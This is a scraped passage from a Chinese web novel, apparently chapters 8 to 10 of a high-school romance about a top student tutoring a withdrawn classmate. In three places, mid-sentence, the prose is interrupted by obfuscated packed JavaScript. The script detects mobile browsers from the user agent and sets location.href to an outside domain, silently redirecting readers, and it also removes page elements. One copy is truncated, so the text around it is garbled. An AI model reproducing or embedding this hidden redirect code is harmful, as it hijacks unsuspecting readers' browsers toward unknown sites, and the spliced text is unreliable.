将面包包装袋扔进垃圾桶,汤慈小幅度拍了拍胸口,还是觉得有些噎,就又从袋子里拿出一瓶矿泉水。 指尖扣住瓶盖,还未拧动,汤慈看到瓶身上的粉色logo,动作就此顿住。 正想将矿泉水瓶放回塑料袋,盛毓冷不丁地问她:“打不开?” 汤慈讷然抬眼,“……能打开。” 在盛毓冷眼旁观下,汤慈只好继续拧开瓶盖,喝了一口天价矿泉水。 喝的时候,汤慈觉得自己的心都在滴血。 十八块钱的矿泉水,她可以在食堂吃一天的饭了。 盛毓坐在她对面,因为腿太长,膝盖快要和她相抵。 汤慈不安地换了好几种坐姿。 盛毓没注意到她的小动作,他姿态放松地靠着金属椅背,垂眼玩手机里的小游戏,手机时不时发出一声通关后的喝彩声。 他的表情谈不上舒坦,更多的是杀时间的漠然。 相比于过去交锋的剑拔弩张,两人此时的状态算得上是平静温和。 汤慈蠢蠢欲动少顷,鼓起勇气从书包里掏出数学课本,恂恂朝他递了过去。 盛毓懒怠掀眼,“?” 汤慈咽了下嗓子,朝拜的大臣一般垂眼把课本抬高到他眼前,“你要是无聊,可以做做题。” 盛毓冷笑一声,“你要是无聊,就闭上眼睡觉。” 他不接受,汤慈只得讪讪收回课本,但仍不死心地瞄向了盛毓的手机屏幕,他玩的是古早小游戏,俄罗斯方块。 汤慈循循善诱,企图用道理将其说服,“有科学依据证明,玩这种小游戏会改变人的思维方式,时间长了智力受到影响,你就会变笨。” 盛毓“咔嚓”按灭手机屏幕,漆黑眸子眯起来,“你有没有感觉身上很痒?” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942243|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有啊。”汤慈下意识否认,又本能觉得好奇:“为什么会痒呢?” 盛毓将手机在椅面上敲了敲,发出清脆的击打声,“因为你一说话就很欠揍。” 汤慈缩了缩肩膀,老实坐好,没再招惹看起来即将要发脾气的盛毓。 / 心外科的宋医生值夜班,十一点半时,她来急诊科拿资料。 离开前看到输液室外的落地窗前站着一个挺拔的男生,她本来没在意,准备进电梯时,余光扫到男生英气的侧脸,心下咯噔一声,脚下瞬时定住。 她不确定地小声叫了一声,“小毓?” 盛毓从一片漆黑的窗外抽回神,转头看到宋敏,笑了一下说:“宋姨。” 宋敏将他上下打量了一番,没见他身上有什么伤,精神看起来也不错,疑问道:“你怎么来急诊科了?是身体不舒服吗?” 盛毓朝输液室抬了抬下巴,“同学发烧,我来陪着。” 宋敏目光朝只剩一个身影的输液室看了一眼,一个身形纤瘦的女孩垂着头靠在椅背上睡着,手背上挂着点滴,身上穿着明显大两号的男士夹克。 绷紧的神经放松下来,宋敏笑着看向盛毓,“小毓长大了,会照顾人了。” 盛毓双手抄兜,没什么情绪朝睡着的汤慈看了一眼,问宋敏:“宋姨今天值夜班?” 宋敏点头,看盛毓的目光像从前一样慈爱,“你现在在高中学习怎么样?是不是还是年级第一。” 听着她理所当然的话,盛毓牵起唇角笑了一下,“您对我的期望有点高。” “不是也没关系。”宋敏抿了一下唇角,缓声说:“你妈妈生前总说,你能健康快乐她就满足了。” 窗户上方的中央空调持续散发冷气,一时间两人都沉默下来。 勾起的唇角变得平直,盛毓神色冷厉看向落地窗外黢黑的灌木,像是无形中设置了一道生人勿近的屏障。 宋敏和盛毓母亲同事十几年,相当于看着盛毓长大,犹豫了几秒,她还是哽咽着问出了困扰她多年的问题。 “科室每年组织给你妈妈扫墓,我每次都待到墓园下班,一次都没见过你,给你发信息你也从来不回,”宋敏哽咽着问:“小毓,你是不是一直怪我们抢救得不及时,没能救回你妈妈?” 盛毓面上愕然一瞬,指尖用力捏了捏紧蹙的眉心,才低声说:“抢救的时候我全程在场,我知道你们尽力了,我没有怪谁。” 宋敏抹了抹眼角的泪,不解地问:“那你为什么不去给你妈妈扫墓?” 盛毓皱着眉动了动唇角,却没说话,他抬手按开了电梯,掌心挡着电梯门对宋敏说:“您累了,回去休息吧。” 汤慈早就醒了,听到门外的对话时,她在心里犹豫两秒要不要睁眼,然后就错过了醒来的时机。 她只好像鸵鸟一样,将脑袋越埋越深,假装还在熟睡。 电梯低鸣着开始运行,盛毓的脚步声逐渐逼近,汤慈心里打起鼓,勉强稳住气息。 盛毓走到汤慈边上停下,垂眸看着她轻颤的睫毛说:“别装了。” 汤慈揉了揉眼眶,抬眼瓮声瓮气地说:“对不起,我不是故意听到你们说话的。” “没怪你,”盛毓嗓音淡漠,扫了一眼马上到底的输液管,按着她的手背,利落地将针管拔了出来,“走了。” 手背被他带有温度的指尖一按,迟到的疼痛感缓缓朝她袭来,汤慈按着针孔上的医用胶布,起身小跑两步才跟上他。 医院急诊科直通街道,两人走到门边时,雨还在淅淅沥沥下个不停。 他们没伞,只好站在廊下等待空车。 门廊宽阔,两人各自沉默站在两侧。 救护车陆续送来两波病人,医护人员抬着担架快速从他们身侧走过,家属泫然欲泣慌张跟上。 汤慈想到刚刚在输液室听到的对话,目光止不住地朝盛毓身上瞟。 盛毓却对擦身而过的生死大事毫不在意,神色疏离看向街对面,仿佛没什么事能激起他的情绪。 纷杂的脚步声逐渐走远,汤慈轻声走到盛毓身侧,抬手拽了一下他T恤的下摆,等盛毓垂眼,她指了指自己的嘴巴。 盛毓淡声道:“说。” 汤慈毫无躲避地直视他的目光,一字一句道:“盛毓,我今天赢了赌约。” 盛毓抬起眉骨,“你犯规还好意思提赌约?” “你们这是野赛,”汤慈小声说:“没有规矩的。” 盛毓抱起手臂冷笑一声,“你懂这么多,知道我如果真把你撞死了,需要负什么责任吗?” “对不起,我以后不会对你做这样的事。”汤慈脸色发白地保证完,又用害怕的语气说出霸道的话:“但你这次得愿赌服输。” 盛毓不说话,面无表情地睨着她。 和他漆黑的瞳孔对视几秒,汤慈忽然又垂下眼睫,很轻地说了一句,“人生那么长,你就当是为自己负责一次,学习真的很简单的。” 或许是被她死缠烂打到没办法,盛毓这次没让她等很久,“多长时间?” 汤慈快速抬眼,“一个学期,但你的总分最少要提高两百名。” “行。” 他突然变得好说话,让汤慈难以自控地得寸进尺,她咽了咽喉咙,追问:“那我能搬回你旁边坐吗?” 盛毓缓慢扯了一下唇角,忽然躬身,视线和她齐平。 近距离对上他浓郁深邃的眉眼,汤慈脑海里运转的机器瞬间宕机,耳尖烧得通红。 盛毓眯起双眼,语气暧昧而轻佻地反问:“汤慈,你真的只是想给我补习?” 9. 第 9 章 汤慈不自觉地后退一步,指尖抓着冰凉的栏杆,小声解释。 “真的是为了补习,坐一起的话我可以随时监督你。” 由于盛毓靠她太近,被他充满压迫感的目光盯着,汤慈嗓音莫名开始发虚,反倒真的像是在撒谎。 盛毓应该是觉得逗她实在无趣,没继续追问,直起身体的同时,目光也随之从她脸上移开。 一辆空的出租车从远处朝医院驶来,司机看到他们按响喇叭,声音划破安静的街道。 汤慈立刻朝出租车招手,待车停下后,她冒着雨快步走下台阶,拉开车门坐进了后车厢。 比起她慌张的动作,盛毓明显淡定很多,他打开副驾驶的门准备坐进去时,看到座位上放着一叠衣服。 司机一脸抱歉地朝他探头,“不好意思啊,麻烦你坐后面吧。” 盛毓点了点头,绕车尾一周拉开后车座的,坐在了汤慈的左边。 他关上车门后,朝司机淡声报地址,“槐杨街,天韵小区。” “好嘞。”司机说着打上了表,脚踩油门将车开了出去。 汤慈余光悄悄瞥向盛毓,发现他没有继续玩俄罗斯方块,指尖随意地滑动着手机屏幕,不知道在看些什么,眼皮半耷着,看起来有些累。 从医院到她家的路程不算近,汤慈指尖揪着坐垫,踟蹰了一会儿才对盛毓说:“我家有点远,你要睡一会儿吗?” 盛毓扫了一眼窗外的街景,“我不困,你困了就睡。” 路灯灯光一闪而过,汤慈看到了他眼睛里的红血丝,和被雨水打湿贴在额头的碎发。 汤慈从书包内翻出一包新的纸巾,放到他手边的座椅上,“你擦一下头发吧,湿着容易感冒。” 盛毓抬手拿过,骨节分明的指尖拆开塑料包装,在闻到洁白纸巾散发出的清淡香气后,他目光很轻地朝汤慈睇了一眼,随后才将抽出一张擦了擦额头。 出租车即将开到天韵小区门口时速度慢下来,汤慈按着门把手准备下车,听到盛毓吩咐司机,“麻烦开到里面。” 司机点点头,问具体的楼栋。 汤慈报完楼栋号,默默把放在门把上的手收了回来。 老式居民楼街道狭窄,出租车七拐八拐开到目的地时,楼栋里匆忙走出两道身影。 透过出租车的前灯,汤慈清楚看到汤建伟满脸焦急地扶着微挺着小腹的秦玲。 秦玲捧着肚子,笑着抱怨,“我真没事,医生说了肚子涨是正常生理现象,你干嘛非得大半夜跑趟医院。” 汤建伟一手给秦玲撑伞,一手掏出车钥匙开锁,面上的焦急不曾削减,“不是你说这是我们汤家唯一的香火吗!我宝贝儿子要是有事,我跟你没完!” 秦玲嗔怪地打了他一下,被他扶着慢慢坐进车内。 乘客停留时间过长,司机师傅转头看向沉默的汤慈,问道:“你是在这下车么?” 汤慈咽了下喉咙,还没张口。 盛毓率先说话:“等外面那辆车先过去。” 司机朝车窗外的那辆车看过去,车身距离他们还有两米,不会影响人下车。 “……噢,行吧。”司机因盛毓不容置喙的神色,压下心头的疑惑,没再追问。 白色轿车缓缓驶出小区,汤慈才拉开车门下了车,关上门时,她轻声说了一句,“谢谢。” 也不知道是对盛毓说,还是对司机说。 盛毓没理会,司机笑着回“应该的”。 老小区基础设施破旧,坑坑洼洼的道路上水洼不断,汤慈平常会小心翼翼避开,但今天衣服已经脏了一次,她没什么顾忌地踩进水里,绕过车头后,裙摆已经被脚下溅起的雨水打湿。 “汤慈。” 清冽的嗓音自身后响起,汤慈茫然转头,看到盛毓降下车窗,朝她扔来一袋东西。 她下意识伸手接过,塑料袋里方方正正放着几个药盒,是她刚在医院开的药。 汤慈因自己的丢三落四而懊恼,也认定盛毓会对她的这个行为感到不满,于是她露出一个虚心受教的表情看向他。 盛毓再次张口,说的却是:“记得按时吃药。” / 周一的早上,汤慈特意早起了十五分钟,到教室放下书包后,她直接去找班主任报告补习的事情。 敲了敲办公室的门,听到老陈的回应后,汤慈推门而入,发现老陈整和人说着话。 邹强是体育课代表,学校即将召开秋季运动会,他来拿运动会的报名表。 老陈已经和他交代完注意事项,笑着对他说:“你先回去吧,班会我会通知大家运动会的事,你这周的任务就是动员大家踊跃参加比赛。” 邹强领下任务,出办公室的步子却在看到汤慈后变得缓慢。 汤慈没有理会邹强探究的目光,径直走到老陈的办公桌前,说:“老师,我上次跟您提的给盛毓补习的事情——” 她话还没说完,老陈就头疼地摆了摆手,“他不同意是吧?我早就跟你说了,盛毓这种倔骨头,别人越想让他做什么,他偏不做什么……” 老陈说到盛毓刹不住车,絮絮叨叨讲起他曾经的跋扈事迹,汤慈一时间没有插话的空隙。 邹强走出办公室,关上门的瞬间,看着汤慈的背影不屑地笑了一下。 他一直对汤慈故作软弱的态度感到不满,明明是她自己主动提出给盛毓补习,现在发现事情办不成,又来找老陈当说客帮忙。 邹强撇着嘴悠然下楼,断定汤慈这学期的奖学金要泡汤。 升旗仪式结束,江蝉和汤慈一起去食堂买早饭,在得知汤慈得到了盛毓的同意之后,她差点惊掉下巴。 刚才在办公室,老陈得知这个消息后,也露出同样惊讶的表情。 “你是怎么办到的?”江蝉不可置信晃地晃了晃她的手臂,“盛毓居然真的能答应?他这是浪子回头准备重新走正道了?” 汤慈没有提她拦车的危险过程,只说和盛毓打了个小赌,才勉强征得他的同意。 江蝉笑着说:“太好了,那奖学金你是不是一定能拿到了?” 汤慈推了推眼镜,“需要把盛毓的成绩提升两百个名次。” “两百名?!”江蝉大惊失色,“难度是不是太高了,盛毓这垫底的成绩能行吗?” 汤慈抿抿唇,语气肯定:“他可以。” 江蝉忽然想到什么,语气恍然,“盛毓升高一的时候可是年级第一,那他的基础一定很扎实,提分应该不难。” 说到这,她不由地疑惑,“据说他从小就是优等生,除了学习,游泳也是拿奖拿到手软,怎么突然就开始摆烂了呢……” 汤慈蜷起指尖,想到急诊室外,盛毓站在落地窗前挺拔而落寞的背影。 心口忽然泛起酸涩的感觉。 回到教室的时候,时间还早,这次江蝉帮着汤慈一起搬桌椅。 班里的同学看到这熟悉的场景,没了上一次的愕然,看汤慈的眼神多了一丝偏向虎山行的敬佩。 宋恪从书本里抬起头,皱着眉头担忧问:“汤慈,你又要搬到盛毓旁边?” 汤慈点头,语气略带歉意,“不好意思啊,吵到你了吧。” “我不是那个意思,”宋恪摆摆手,继续问:“你和盛毓说好了吗?他同意了吧?你这次别再白跑一趟。” “说好了。”汤慈抿唇笑了一下,对他说:“别担心。” 两人说话声音都不高,几句聊天淹没在教室的嘈杂中,没几个人听到。 刚进教室的邹强和郑姝瑶自然也没听到,郑姝瑶看汤慈把桌椅再次搬到了盛毓的旁边,指尖攥紧了手中的酸奶盒。 邹强哼笑一声,扬声嘲讽,“汤慈你霸王硬上弓上瘾了是吧?人家盛毓根本就懒得搭理你,你看不出来啊?” 不明所以的同学目光纷纷朝汤慈看过去,小声的议论声也随之响起。 汤慈再次被他当面嘲讽也没生气,淡然地问他:“你急什么?我搬座位跟你有什么关系?” 邹强被她一句话噎得瞪眼,磨了磨后槽牙才皮笑肉不笑道:“汤学霸,我这是为你着想啊,劝你趁早放弃给盛毓补习的妄想,奖学金拿那么多不怕撑死啊。” “我每年奖学金申请的流程都合理合规。”汤慈扶了一下眼镜,隔着整间教室和他对视,“你把关心我的时间用来学习,下学期说不定也有机会拿奖学金。” 汤慈的语调不带任何嘲讽,但邹强却听得格外刺耳,连续三年被她压制的窝囊感,让他一口怒气冲到脸上。 他不管不顾地大步走到汤慈桌前,用力拍了一下她的桌面,“你有什么资格评价我?你不就是仗着会卖惨才一直拿奖学金吗?!” 江蝉气得推了他一下,“你发什么神经,汤慈成绩一直是第一,奖学金该她拿的,你自己没能力——” 邹强忽地将汤慈放在桌上的书包扔了出去,装着书的书包重重砸在后黑板上,发出沉闷地响声。 江蝉咽下没说完的话,看着发狂的邹强,本能地后退了一步。 汤慈没顾着去捡自己被扔在垃圾桶旁边的书包,抬手将江蝉护在了身后,并对急忙赶来的宋恪睇去一个安抚的眼神。 随后她才平静地对邹强说:“你如果对奖学金的事有异议,等下课我们可以去老师办公室说,现在你先回去。” 邹强瞥见周围同学惧怕的眼神,情绪缓和下来,意识到自己过激了。 但就这么灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942244|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜溜回去,未免太丢面子,他想了想面露讥讽地找补,“我还是先别回座位了,等会盛毓来了让你滚蛋,我还能帮你搬一下桌子。” 砰—— 门外倏地飞来一个银质打火机,从众人眼前划过,直直砸向邹强的脑门。 邹强捂着脑袋痛苦地嚎了一嗓子,怒火攻心地瞪向打火机的来源,在对上盛毓冷厉的目光后又立刻偃旗息鼓。 “我让她搬的。”盛毓无视众人八卦的目光,在座位上坐下,挑眉问邹强,“你有意见?” 邹强快速咽了几下口水,不可置信地看一眼汤慈,才低头说:“没有。” 盛毓指骨敲敲桌面,说:“东西捡起来。” 邹强深吸一口气,蹲下来将打火机捡起来放到他桌面上。 “再捡。”盛毓的嗓音更冷了一些。 邹强愣了两秒,才意识到他让捡的是什么,他屈辱地阖动着鼻腔,在盛毓沉默而冷然的神色中躬身去到垃圾桶旁边,把汤慈的书包捡了起来放回了原位。 “让你给她道歉过分吗?”盛毓下颌朝木楞在一旁的汤慈点了点。 邹强面子被碾到土里,憋着气对汤慈说:“对不起。” “没关系。”被围观到如坐针毡的汤慈连忙对他说:“你快回去吧。” 邹强却没动,视线迟疑地朝盛毓看去。 盛毓懒怠开口:“滚吧。” 待周围同学散尽,汤慈忍了又忍,最终还是趁着老师转身的间隙,凑近盛毓小声说:“你刚刚那样对邹强,会不会不太好呢?” 盛毓随意翻动着课本,“哪不好?” 汤慈蹙眉担忧道:“太……凶了吧,你这样很容易结仇,多危险啊。” 盛毓挑挑眉,歪着脑袋在她耳边说:“接近我的时候不知道我凶?” 热气倏尔铺洒在她耳廓,心跳频率随之加快。 汤慈快速揉了一下耳朵,赧着脸一本正经对他胡言乱语:“快学习吧,学习可以修身养性,你多学学脾气就变好了。” “……”盛毓眯着眼睛嗤笑,“汤慈,你皮又痒了?” 汤慈连忙摇头,垂下轻颤的睫毛开始看书。 / 汤慈将周中的兼职都停掉,晚自习用来给盛毓补习。 下午下课后,汤慈从老许那里拿来盛毓升高中以后的大考成绩单和试卷,准备为他制定一份提分计划。 盛毓懒洋洋靠在椅背上听,汤慈问什么他答什么,给前座的周弋阳吓得够呛。 待汤慈了解完情况,周弋阳手肘撑在盛毓的桌面上调侃:“你这么快进入学习状态,我都有点不习惯了。” 盛毓把书往他跟前一撂,“那你也跟着一起学。” 周弋阳眼角一跳,“我今天先不学了,晚上约了朋友去北山转一圈。” 他说着,朝低头琢磨试卷的汤慈瞥了一眼,压低嗓子问盛毓,“你真不来啊?” 盛毓耸耸肩,手中的中性笔朝汤慈一指,“这得问她。” 汤慈从试卷中抬起了脑袋,认真看向周弋阳,温声说:“他晚上得补习,不能去。” 周弋阳哑然愣住,目光在两人之间来回扫,冷不丁来了一句,“盛少爷,你这样好像妻管严啊,金铭约咱们等会儿去操场打球,你还能去吗?” 汤慈做笔记的手顿住,耳尖不可控制发热,她闷声解释,“可以去的,但晚自习不要迟到。” 盛毓和周弋阳下楼没多久,江蝉就叫汤慈一起去食堂吃饭。 汤慈食欲不高,只点了一个素菜一碗粥。 她吃完以后,江蝉的面还剩一半,汤慈就拎着两人的水杯先去水房打水。 水房挨着篮球场,汤慈刚到就看到一群女生站在铁丝网外说着什么。 她原本并没有注意,直到听到球场内隐约传来的对话中,有提到自己的名字。 汤慈把杯盖拧好,走到球场外跟着女生们朝球场内望。 看到篮球架下站着的两道身影,她顿住了脚步。 郑姝瑶抹着眼泪沉声问盛毓:“你同意汤慈坐在你旁边,是因为喜欢她吗?” 呼吸渐渐收紧,汤慈站在人群外忽然意识到,她并没有自以为的那么大公无私。 她嘴上说着想让盛毓的人生回到正轨,但心底一直压抑着的情感骗不了人。 像所有喜欢盛毓的女生一样,汤慈也在心里默默期待过能得到他的一点回应。 哪怕只是一点。 她就能够满足。 盛毓站在秋风中,像听到什么可笑的话,嗓音不带情绪地问,“这两件事有什么联系吗?” 汤慈眨着被风吹得酸涩的眼睛,缓缓呼出一口气,抱着两个杯子转身离开了球场。 10. 第 10 章 老许在班会时,宣布学校即将举办秋季运动会。 此消息无异于往死气沉沉的教室里扔了颗炸弹,老许话刚停,学生的欢呼声就一声高过一声。 老许体恤整日高强度学习的他们精神压力大,一直等喧闹声即将平息,才敲了敲黑板,继续班会下一个事宜。 运动会开始的前几日,班里同学人心浮躁,嘴里热切讨论的都是关于运动会相关的事。 汤慈因身体原因自高一起就没有参加过运动会,因此也没人找她讨论。 一直到临近运动会的前一天大课间。 邹强拿着手中写满名字的报名表和宣传页,在路过汤慈的桌子时,停下了脚步。 两人上次的争执闹得难看,四周同学以为邹强又要找事,目光都警惕起来。 汤慈抬眸看到邹强,也意外地睁大了眼睛,“有事吗?” 邹强视线在汤慈旁边空着的位置扫了一眼,然后才对着汤慈露出假笑,“运动会班里同学都报了项目,你作为班里的优等生也得出一份力吧?” 汤慈以为他忘了自己请长期病假,耐心地告诉他,“我没办法剧烈运动,如果有检录之类的工作可以交给我来做。” “检录都是学生会负责,”邹强扯着唇角放下运动会的宣传页,“不是每个项目都需要剧烈运动,你看着选一项吧,全班现在只有你闲着。” 知道他是存心为难,汤慈没有同他争执,翻看着宣传页,想着如果有轻松一些的运动,她参加一下也无妨。 传统运动项目拼的就是体力和力气,汤慈直接略过,在看到趣味运动时,翻阅的速度才慢了下来。 趣味项目多是众人协作完成,汤慈怕自己动作太慢给别人添麻烦,最后她选择了只需要两人就能完成的两人三足。 “确定选这个项目了?”邹强问。 汤慈点头。 邹强在两人三足后面快速写下汤慈的名字,然后告诉她,“队友你得自己找,晚自习下课前报给我。” “……” 汤慈看着邹强一脸得意地离开,才意识到自己上了他的当。 班里同学都已经报过项目,她现在再想找队友,无异于大海捞针。 午饭时,江蝉得知邹强又来招惹汤慈,气得连翻两个白眼。 “小肚鸡肠的low男,有点权势就想欺负人,”江蝉义愤填膺:“盛毓上次应该直接揍他一顿,让他长长记性。” 汤慈只想快点解决问题,咽下米饭说:“吃完饭我去教室问一下看谁有时间。” “我那个时间段正好报了跳远,”江蝉犹豫道:“不然我去跟邹强说换个项目?” 江蝉唯一在行的运动就是跳远,汤慈按住她的手,“不用,我先去问问看。” 到教室后,汤慈一连问了两个女生,不巧她们都没有时间,但其中一个女生提醒汤慈,趣味运动不限男女,她找男生合作也是可以的。 汤慈先是眼前一亮,而后才颓丧地意识到,她和班里的男生都没怎么说过话。 唯一算得上熟悉的是宋恪,但宋恪是学生会的成员,到时候估计比参赛的同学还要忙。 汤慈叹了叹气,离下午上课还有一段时间,干脆先趴在桌面上午休。 准备醒了之后再想办法。 她不知道睡了多久,模模糊糊听到说话声才惺忪睁开了眼睛。 循着声音的来源,汤慈转头朝窗外看去。 走廊的围墙边,盛毓和周弋阳站着聊天,旁边还有几个别班的男生,都是经常出没在盛毓身边的人。 窗户半开着,他们聊天的内容清晰传进汤慈的耳朵。 “南门那家绿豆沙冰排队的人怎么越来越多?” “之前总台有个美食节目来拍过,人气一下爆了。” “怪不得,我都忘了上次喝是什么时候了。” “诶——毓哥,”一男生抬起下巴问:“我记得你初中总爱喝这家绿豆沙冰来着。” “我也记得,”金铭嘴很快:“毓哥之前都是买两杯,自己喝一杯,再给他妈妈带一杯。” 周弋阳脸色瞬间变了,几人中只有他和盛毓是发小,盛毓母亲去世的事盛家压得严,其他人虽不知道,但隐约察觉出这是个禁忌问题。 他紧拧着眉头,刮了金铭一眼。 金铭后知后觉意识到自己说错话,挠着后脑勺含混说:“我可能是记错了。” 男生们面色各异。 盛毓却姿态放松,语气平淡道:“没记错,我是挺喜欢喝的。” 金铭松了一口气:“那我们晚上去喝一杯啊?” 盛毓垂眼抛着手中的打火机,“人太多,懒得排。” 汤慈咬着唇瓣看着窗外的盛毓。 他明明站在人群的中心,神色却分外疏离,和人相处时永远隔着一层结界,让人猜不透他心里到底在想什么。 她看得太出神,因此在盛毓的目光隔着纱窗和她对上时,她愣了一秒才反应过来,快速低下了头,假装很忙地翻开了笔记本。 一直到预备铃响起,男生们才各回各班。 盛毓和周弋阳一前一后进教室,汤慈正垂着脑袋奋笔疾书。 身侧的凳子被人拉开,盛毓一坐下,就主动朝她搭话,“在写什么?” 汤慈笔尖一顿,将摊开的笔记本小心放到了他的桌面。 盛毓垂眼,看到笔记本扉页上赫然写着两行字。 【盛毓专属提分计划】 【砥砺前行,重回巅峰。】 他提起唇角,“我重回巅峰,那你上哪去?” 汤慈扶着眼睛,真诚道:“我也当了两年的年级第一了,让给你一年也可以。” “对我这么大方,”盛毓偏头,似笑非笑看着她,“想让我怎么报答你?” 汤慈用力捏了捏中性笔,嗓子发干地提醒他:“不用报答,你成绩提高我有奖学金可以拿。” 盛毓像是才想起来似得“哦”了一声,垂眸翻起笔记,看到夹在笔记本里的运动会宣传册。 汤慈伸手拿了过来,“不好意思,我不小心把宣传册放里面了。” 周弋阳转头,看到宣传册上圈起来的项目,问汤慈:“你要参加两人三足啊?” 汤慈点头,“不过现在只有一人两足,我还没找到队友。” 周弋阳被她的话逗笑,低头看了眼比赛的时间,朝盛毓努努嘴,“毓哥这个时间有空,你找他啊。” 汤慈完全没有想过找盛毓帮忙,但周弋阳这么开口,她不问反而不好意思了。 “你……你能当我的队友吗?”她有些磕绊地问道。 盛毓笑了一下,“有什么好处?” 汤慈怔了一秒,“你想要什么好处?” 盛毓浓密的睫毛半垂,嗓音沉而缓地提醒:“当然是我喜欢的好处。” 汤慈抿了抿唇,不确定地问:“你要喝绿豆冰沙吗?” 盛毓眼睛危险地眯了起来,嗓音沉冷地问:“偷窥我好玩吗?” / 整个下午,汤慈都过得心神不宁。 除了交代必要的学习任务,汤慈没有和盛毓说一句多余的话。 好在盛毓说了那句话后就没再继续问责,汤慈缓缓意识到,盛毓只是为了警告她不要越界。 下午的课结束,汤慈立刻从座位上起身,叫上江蝉去吃晚饭。 江蝉想去吃南门外的米线,汤慈心不在焉地点头答应,等到了砂锅店,她看到上午男生们讨论的绿豆冰沙店就在旁边,队伍排得很长。 汤慈其实早就听过这家店的大名,但她觉得太贵,一次也没有喝过。 江蝉注意到她的目光,朝沙冰店看了一眼,感叹道:“这都秋天了还有这么多人排队,看得我都想喝了。” 汤慈用纸巾擦着桌子,小声问:“那你要喝吗?” 江蝉捂了捂肚子,“我姨妈来了,改天吧。” 汤慈“噢”了一声,擦完桌子,又默不作声地朝沙冰店的方向看了看。 在她的目光第三次朝冰沙店扫过时,江蝉才意识到,“你是不是想尝尝?我陪你去拿个号吧。” 汤慈抿抿唇,“尝尝也行。” 拿过号,两人的米线也正好出锅。 汤慈看着手中排到三位数的号码,刻意放慢了米线的速度。 可一直等到江蝉吃完最后一口米线,沙冰店的号码才喊了一半。 近日气温骤降,秋风裹挟着落叶在街道上打旋。 江蝉打了个喷嚏,裹紧了校服外套。 汤慈看着缓慢移动的队伍,让江蝉先回教室,她继续排队。 江蝉点头,提醒她,“你看着点时间,晚上第一节是蒋老头带班,别迟到了。” 教英语的蒋军格外严厉,迟到说话在他的课堂上都是大忌。 汤慈对江蝉摆摆头,温声说:“我知道了,你快回去吧。” 离上课时间还剩五分钟的时候,汤慈前面还剩下五个人。 她侧头看着店员快速塑封、打包的利落动作,冒险继续排队,最终却冒险失败。 汤慈拿上那杯绿豆冰沙的时候,学校里正好传出急促的上课铃声。 她想也没想,拎着袋子快速朝校园内跑去。 踏上楼梯时,汤慈觉得自己心脏快要跳出胸腔。 但她没敢停。 气喘吁吁跑到一班教室门口时,却还是晚了一步。 蒋军站在讲台,朝她扫来一记凌厉眼刀,“汤慈!你怎么也学会迟到了?” 汤慈喘着粗气,脸色苍白如纸,指尖攥紧了外套下摆。 时间紧迫,她还没想到迟到的借口。 蒋军等得不耐烦,手中的课本在讲台上狠狠一敲,“你干什么去了?” 汤慈把手中的绿豆沙冰朝身后藏了藏,平复着心跳说:“……我去买了个东西。” 蒋军看破她遮遮掩掩的动作,喝声道:“都高三了还想着喝饮料,你去外面罚站冷静冷静。” 一时间,班里所有同学的目光都朝她看过来,江蝉和宋恪脸色焦急,但也不敢和正在气头上的蒋军顶撞。 汤慈抿着唇点头,正要朝门外走,忽然听到盛毓懒怠的声音自教室后方响起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛毓朝她空空如也的双手瞟了一眼,“怎么学?意念?” 汤慈咽了咽嗓子,给自己壮胆一般深吸一口气,敲响了教室的门。 蒋军气势汹汹拉开门,“做什么?” 汤慈被他一嗓子吼得缩了缩肩膀,细声细气说:“老师,我想拿本书在外面学习可以吗?” 蒋军看着她乖巧地模样,和艰苦求学的状态,语气缓下来,“进来拿吧。” “谢谢老师。”汤慈快步进教室,拿了书和笔记本出来,轻声关上了教室的门。 教室内传来蒋军称赞的声音,“你们看看人家汤慈,罚站都不影响学习,人家不拿第一谁拿第一!” 汤慈没注意到教室内的动静,把书摊开在围廊的台面,朝盛毓招了招手,“你来看这道题,你有两次考试这个题型都做错了……” 看着她认真的样子,盛毓突然觉得自己做了个超出预期的买卖。 汤慈讲题时和其他时候迟钝的状态不一样,她神情专注,思维敏捷,语言也简洁富有逻辑。 听她讲完一道题,盛毓挑了挑眉,“你的解题思路跟我挺像。” 汤慈的动作忽然卡了一下,很轻地推了推镜框,说:“老师都是这么教的。” 盛毓没再过多讨论这个问题,手肘撑着台面,听她讲剩下的难题。 汤慈一直到下课铃声响起才停下笔,满意地看着笔记说:“这部分知识点你能掌握的话,考试能提不少分呢。” 她边说,边无意识撕嘴巴上的干皮。 一小片薄如蝉翼的皮肤被她撕下来,露出内里鲜红的一层薄膜。 “盛毓。”周弋阳站在后门处朝他扬了扬手中的烟盒,“走不走。” 盛毓将视线移到周弋阳身上,滚了一下喉结说:“走。” 汤慈下楼打了趟水的工夫,回来看到自己桌上多了一瓶牛奶。 瓶子摸起来还是热的。 正疑惑是谁放在她桌上的,她看到路过的郑姝瑶,手中拿着和她桌上一样的牛奶瓶。 汤慈想了一下,觉得是郑姝瑶原本要给盛毓的牛奶,错放在了她的桌上。 于是她把牛奶瓶移到了盛毓那边。 宋恪晚自习才从江蝉口中得知汤慈报名运动会的事,他走到汤慈桌边询问她是否找到队友,顺手将洗好的梨塞到了她手中。 “找到了。”汤慈咬了一口梨,鼓着脸颊说:“谢谢。” 